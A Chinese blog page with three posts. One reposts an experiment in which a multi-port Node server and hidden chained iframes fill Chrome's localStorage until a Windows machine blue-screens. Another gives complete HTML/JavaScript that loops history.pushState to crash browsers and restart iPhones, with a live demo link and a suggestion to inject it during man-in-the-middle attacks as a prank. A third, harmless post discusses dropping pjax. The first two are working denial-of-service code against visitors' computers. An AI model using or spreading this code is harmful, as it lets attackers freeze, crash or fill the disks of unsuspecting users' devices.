作为一个前端,可以如何机智地弄坏一台电脑?

有人说,前端的界限就在浏览器那儿。

无论你触发了多少bug,最多导致浏览器崩溃,对系统影响不到哪去。
这就像二次元各种炫酷的毁灭世界,都不会导致三次元的世界末日。
然而,作为一个前端,我发现是有方式打开次元大门的…

这个实验脑洞较大,动机无聊,但某种意义上反映了一些安全问题
想象一下,有天你在家里上网,吃着火锅还唱着歌,点开一个链接,电脑突然就蓝屏了!想想还真有点小激动。

起因

故事得从localStorage说起。

html5的本地存储,相信大家都不陌生。将数据以二进制文件形式存储到本地,在当前应用得非常广泛。
windows下的chrome,localStorage存储于C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Local Storage文件夹中。但如果任由网页无限写文件,对用户硬盘的伤害可想而知,因而浏览器对其做了大小限制。

对于一个域名+端口,PC侧的上限是5M-10M之间,移动侧是则不大于2.5M。

那么问题就变成:这样的限制足够保护用户硬盘了吗

关键

关键的问题在于,这一限制,针对的是一个域名+端口
也就是说,你访问同一个域名的不同端口,它们的localStorage并无关联,是分开存储的。

我用node简单地开启了服务器,这时,用户访问http://127.0.0.1:1000http://127.0.0.1:1099这100个端口,会请求到同一个页面:index.html

var http = require('http');
var fs = require('fs');

//100个端口
for(var port = 1000; port< 1100; port++){
  http.createServer(function (request, response) {
    //请忽略这种循环读文件的方式,只为了简便
    fs.readFile('./index.html', function(err, content){
      if(err) {
      } else {
        response.writeHead(200, { 'Content-Type' : 'text/html; charset=UTF-8' });
        response.write(content);
        response.end();
      }
    });
  }).listen(port, '127.0.0.1');
}

当然,这个index.html里涉及了localStorage写操作。

var s = "";
//慢慢来,别写太大了,好害怕…
for(var i=0; i< 3 * 1024 * 1024; i++){
  s += "0";
}
localStorage.setItem("testData", s);

我试着用浏览器分别访问了几个端口,结果是分开存储。一切跟剧本一样。

自动遍历

但这种程度还不够。
如果要实验变得更好(xie)玩(e)一些,问题就变成如何让用户自动遍历这些端口

iframe是个好的尝试。
只要一打开http://127.0.0.1: 1000,页面的脚步就会创建一个iframe,去请求http://127.0.0.1: 1001,一直循环下去。

var Main = (function(){
  var _key = "testData";
  var _max = 1100; //最大限制
  return {
    init: function(){
      //慢慢来,别写太大了,好害怕…
      var s = "";
      for(var i=0; i< 3 * 1024 * 1024; i++){
        s += "0";
      }
      localStorage.setItem(_key, s);

      var port = parseInt(location.port)+1;
      if(port > _max) return;

      //新添加iframe
      var url = "http://127.0.0.1:" + port;
      var $iframe = document.createElement("iframe");
      $iframe.src = url;
      document.getElementsByTagName("body")[0].appendChild($iframe);
    }
  }
})();

当然iframe我们还可以设置为不可见,以掩盖这种不厚道的行为…
比方说,有人发给你一个链接,你打开后发现是个视频,而你根本注意不到背后的脚本,在视频播放的几分钟里,快要把你的C盘写满。

然后我就看到请求如潮水渐涨:

localstorage1.png

 

 

但是,请求到1081端口,最新的chrome就崩溃掉了…原来iframe嵌套太多,已经到达了浏览器的极限。

防止浏览器崩溃

C盘还未撑满,同志还需努力。怎么办?

突然想到,到达iframe极限之前,我们可以重定向啊。
每访问50个端口,就使用window.location.href重定向一次,去确保浏览器不崩溃。

var Main = (function(){
  var _key = "testData";
  var _max = 1200; //最大限制
  var _jumpSpace = 50; //为避免iframe过多导致浏览器crash,每50个执行跳转

  return {
    init: function(){
      //慢慢来,别写太大了,好害怕…
      var s = "";
      for(var i=0; i< 3 * 1024 * 1024; i++){
        s += "0";
      }
      localStorage.setItem(_key, s);

      var port = parseInt(location.port)+1;
      if(port > _max) return;

      if(port % _jumpSpace == 0){
        //每50个,重定向一次
        window.location.href = url;
      }else{
        //新添加iframe
        var $iframe = document.createElement("iframe");
        $iframe.src = url;
        document.getElementsByTagName("body")[0].appendChild($iframe);
      }
    }
  }
})();

事实证明,这种蛮拼的方法的确可行。

至此,只要访问http://127.0.0.1: 1000,就会往Local Storage文件夹里写入近500M无用数据:

localstorage3.png

 

里面的数据是这样的:

localstorage2.png

 

继续实验的黑科技

算了下我的C盘还有空间嘛,那就把端口数量从100增长到200个。
结果是这样的,到达了1.17G大小。

localstorage4.png

 

 

在后续的实验中,我就慢慢的把端口数量与存储的数据调大。

电脑也运行得越来越慢。这是为什么呢?

我观察到,有时候执行localStorage.setItem()后,在文件夹里不一定立即能看到数据文件。
怀疑这些数据会被chrome先放到内存里,以避免重复读写带来的消耗,在空闲或关闭的时机,再写进硬盘里。

但此时,浏览器已经影响到系统了。它处于一种“不会崩溃”,但“因为占用了许多内存,已经妨碍用户电脑的正常使用”的状态。
即使用户关闭了浏览器窗口,也不会很快恢复。要知道读写任务并不是随窗口关闭而终止的,否则浏览器会丢失数据。

遭遇黑科技的人们能做的只有:

  1. 等待;
  2. 用任务管理器关掉chrome进程,再等待;
  3. 相信并尝试“重启电脑解决90%电脑问题”的科学论断

可以说,浏览器的内心几乎是崩溃的。

最后

最后,还是得用严肃脸告诫一下:害人之心不可有。
本实验,从一开始就是怀揣着将安全问题上交给国家的初衷去做的(是的就是这么纯粹)。

后续,看着C盘还有2G空间,我又把端口增长到2000个,试下会发生什么。
由于请求过多,需要一定时间,我就去做别的事情了。
回来后发现房间安静祥和,美轮美奂,一片蓝光,像是加了特技。localstorage5.png

那么问题来了,计算机修理哪家强?
有点急…

原文地址:http://litten.github.io/2015/07/06/hack-in-localstorage/

 


Mrxn 发布于 2016-4-19 02:31

HTML5新特性Bug:这12行代码分分钟让你浏览器崩溃iPhone重启

使用这十二行JavaScript代码能让firefox、chrome、safari等众多浏览器崩溃,甚至让iPhone重启?!


起因

今天刷推特的时候发现Cyber Security@cyber__sec的推文让人眼前一亮:

Crash firefox, chrome, safari browsers, and also restart iPhone using this javascript code. #dos #0day #exploit
//使用下面这段JavaScript代码能让firefox,chrome,safari浏览器崩溃,而且还能让iPhone重启。

2016-04-17 14_04_54.png


完整HTML代码如下:


<html>
<body>
<script>
var total="";
for (var i=0;i<1000000;i++)
{
    total= total+i.toString();
    history.pushState(0,0,total);
}
</script>
</body>
</html>

demo:(温馨提示:请保存浏览器其它窗口的编辑任务)


http://api.mrxn.net/demo.html  (点击一下,又不会怀孕!)


接来下会发生什么?

点开以后,我的状态是这样的:

14532972774931.gif

如果你是PC端用户,点开链接以后,电脑CPU内存极有可能一路狂飙直至浏览器崩溃卡死!

如果你是移动端(安卓、iPhone)用户,点开链接以后你的浏览器会闪退!在微博、微信客户端点开链接同样会闪退。至于在推文中提到的让iPhone重启,这一现象倒是没有出现。22:49 修正:iPhone用Safari打开之后链接之后,手机注销重启了!…

思考

这是Bug还是0day?为什么会有这一现象?如何实现的?

有哪些比较有意思的利用姿势?(我先来个:当在执行MITM中间人攻击的时候,可以注入这一段js,来个恶搞整蛊。然后都懂的...)

欢迎大家在评论中发表自己的观点 



Mrxn 发布于 2016-4-17 05:59

博客决定取消使用pjax技术加载页面,简单分析

pjax是对ajax + pushState的封装,让你可以很方便的使用pushState技术。

同时支持了缓存和本地存储,下次访问的时候直接读取本地数据,无需在次访问。

并且展现方式支持动画技术,可以使用系统自带的动画方式,也可以自定义动画展现方式。

这是它的开源主页 : https://github.com/welefen/pjax

我的博客也在前不久使用这项技术,具体的教程请前往Finlly博客查看:关于PJAX局部刷新 ;


但是使用之后,发现有如下几个问题:

1:我得服务器资源占用比不使用pjax之前多了30%,大神勿笑,也可能是我小菜不会优化;

2:加载之后会发现,会出现不能够加载其他的js,比如不能够加载第三方分享的js文件,或者是代码高亮插件的js,导致代码的高亮,复制,又或者是图片highslide插件等功能失效;

下面几点来至于互联网:

3:这个技术使用的场景很受限制,据我所知真正用这个技术的网站很少

因为html5的新api:pushState和replaceState的出现,让url脱离了#号。更重要的是支持了浏览器前进后退的事件触发onpopstate

4:不利于SEO,当然,你可以针对爬虫做处理,但那是自找麻烦

5:不同页面引用的资源很可能不同,切换页面需要动态加载新的js和css,容易和旧的CSS和JS产生冲突

6:不刷新页面,意味着页面占用的资源得不到释放,如果有内存泄露问题,页面会越来越卡

不知道各位有什么好的优化方案没,或者是在使用pjax过程中有哪些问题。

题外话:还是HTML5方便,赶紧学习html5,因为html5的新api:pushState和replaceState的出现,支持浏览器前进后退的事件触发onpopstate,pushState的功能具体来说就是修改url而页面无跳转,并且该url会被存放在历史记录中

当然为了满足某些需要你不需要存放在历史记录中就需要使用replaceState

而浏览器上前进和后退都会触发onpopstate能获取你设置的State对象


拿welefen的pjax说下原理:

1.在用户超链请求的时候拦截超链

2.拦截后同时发出两种行为 ajax请求 以及 pushState


实际上他的设计是线性的,在超链被拦截后才会触发。

我更倾向于观察者模式,state被改变的时候触发。

如果你真的想用在项目中我推荐你直接使用 balupton/history.js · GitHub

在不支持html5的浏览器上采用了hash作为代替并且监听了statechange事件



Mrxn 发布于 2015-8-26 04:56

个人资料

    blogger

    Mrxn

    一个关注网络安全,热爱黑客技术的好青年!

搜索

最新评论